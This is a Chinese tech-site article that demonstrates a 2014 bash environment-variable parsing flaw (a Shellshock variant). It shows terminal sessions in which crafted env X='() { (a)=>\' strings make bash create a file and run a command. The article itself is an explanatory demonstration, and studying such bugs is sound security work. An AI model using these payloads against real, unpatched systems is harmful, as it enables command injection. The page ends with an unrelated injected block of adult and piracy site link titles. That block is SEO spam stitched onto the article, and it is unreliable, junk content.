《電子技術應用》
您所在的位置:首頁 > 嵌入式技術 > 設計應用 > 一個linux下的bash安全漏洞
一個linux下的bash安全漏洞
摘要:
關鍵詞: bash 09 2014 2713 david davidcchen
Abstract:
Key words :

 1. 通過設置一個特殊的環境變量的env,能間接地查到到linux命令的屬性,如下:

  [2014-09-27 13:00:54 david@davidcchen ~]$ ls -l date

  ls: cannot access date: No such file or directory

  [2014-09-27 13:01:13 david@davidcchen ~]$ env -i X='() { (a)=>\' bash -c 'date'

  bash: X: line 1: syntax error near unexpected token `='

  bash: X: line 1: `'

  bash: error importing function definition for `X'

  [2014-09-27 13:01:21 david@davidcchen ~]$ ls -l date

  -rw-rw-r--. 1 david david 0 Sep 27 13:01 date

  [2014-09-27 13:01:27 david@davidcchen ~]$

  2. 一次運行環境變量。

  [2014-09-27 13:01:27 david@davidcchen ~]$ zsh --version

  zsh 4.3.10 (x86_64-redhat-linux-gnu)

  [2014-09-27 13:03:24 david@davidcchen ~]$ bash --version

  GNU bash, version 4.1.2(1)-release (x86_64-redhat-linux-gnu)

  Copyright (C) 2009 Free Software Foundation, Inc.

  License GPLv3+: GNU GPL version 3 or later

  This is free software; you are free to change and redistribute it.

  There is NO WARRANTY, to the extent permitted by law.

  [2014-09-27 13:03:31 david@davidcchen ~]$ env X='() { (a)=>\' bash -c "echo date"; cat echo; rm echo

  bash: X: line 1: syntax error near unexpected token `='

  bash: X: line 1: `'

  bash: error importing function definition for `X'

  Sat Sep 27 13:03:52 CST 2014

  ---------->成功運行date命令

此內容為AET網站原創,未經授權禁止轉載。
主站蜘蛛池模板: 精品小视频在线观看 | 在线一区免费视频播放 | 亚洲成人在线播放视频 | 成人国产精品一级毛片视频 | 欧美一级视频免费观看 | 91精品久久久久亚洲国产 | 日本香蕉一区二区三区 | 国内高清久久久久久久久 | 欧美精品一区视频 | a毛片成人免费全部播放 | 91福利国产在线观一区二区 | 久久国产三级精品 | 4tube高清性欧美 | 亚洲视频手机在线 | 日本天堂网址 | 成人午夜网站 | 天天做天天爱夜夜大爽完整 | 国产成人无精品久久久 | 在线观看亚洲国产 | 一级做a免费视频观看网站 一级做a爰 | 黄色影院在线观看视频 | 欧美一级片手机在线观看 | 亚洲国产日韩精品 | 国产成人精品一区二区不卡 | 三级三级三级全黄 | 午夜精品久久久久久91 | 日韩在线视频一区二区三区 | 三级午夜三级三点在看 | 国产高清一国产免费软件 | 一个人免费看的www 一及 片日本 | 国产成人免费视频精品一区二区 | 免费视频久久 | 视频在线观看一区 | 国产精品成人在线播放 | 俄罗斯三级毛片 | 国产三级在线观看视频 | 日韩欧美精品一区二区三区 | 成人深夜福利在线播放不卡 | 可以看毛片的网站 | 国产在线日韩 | 免费视频18|